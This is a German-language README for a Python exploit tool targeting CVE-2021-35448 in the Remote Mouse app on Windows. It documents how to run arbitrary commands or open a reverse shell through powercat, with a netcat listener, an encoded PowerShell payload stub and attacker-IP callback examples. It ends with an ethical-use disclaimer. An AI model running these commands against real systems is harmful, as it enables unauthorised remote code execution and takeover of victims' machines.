CVE-2021-35448 - Remote Mouse Exploit

Beschreibung

Dieser Exploit zielt auf die CVE-2021-35448-Sicherheitslücke in der Remote Mouse-Anwendung (ehemals WiFi Mouse) ab.

POC

CVE-2021-35448.webm

Verwendung

Grundlegende Syntax

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

Optionen

• -t, --target: Ziel-IP-Adresse (erforderlich)
• -p, --payload: Benutzerdefinierter Befehl zur Ausführung
• -r, --reverse: Reverse Shell im Format IP:PORT
• -l, --http: Lokaler HTTP-Server im Format IP:PORT (erforderlich mit -r)

Verwendungsbeispiele

1. Benutzerdefinierter Befehl

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. Reverse Shell (Empfohlen)

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

Voraussetzungen

Erforderliche Dateien

• CVE-2021-35448.py: Haupt-Exploit-Skript
• powercat.ps1: PowerShell-Skript für Reverse Shells

Zielsystem

• Remote Mouse installiert und ausgeführt
• Windows-System (getestet unter Windows 10)

Warnung

⚠️ NUR ETHISCHER GEBRAUCH ⚠️

Dieses Tool ist nur für Bildungszwecke und autorisierte Penetrationstests gedacht. Die unbefugte Nutzung dieses Exploits ist illegal und kann rechtliche Schritte nach sich ziehen.

Referenzen

• WiFi Mouse 1.7.8.5 - Remote Code Execution
• CVE-2021-35448 Detail

Autor

Entwickelt für Bildungs- und ethische Penetrationstestzwecke.

Zuletzt aktualisiert: 2025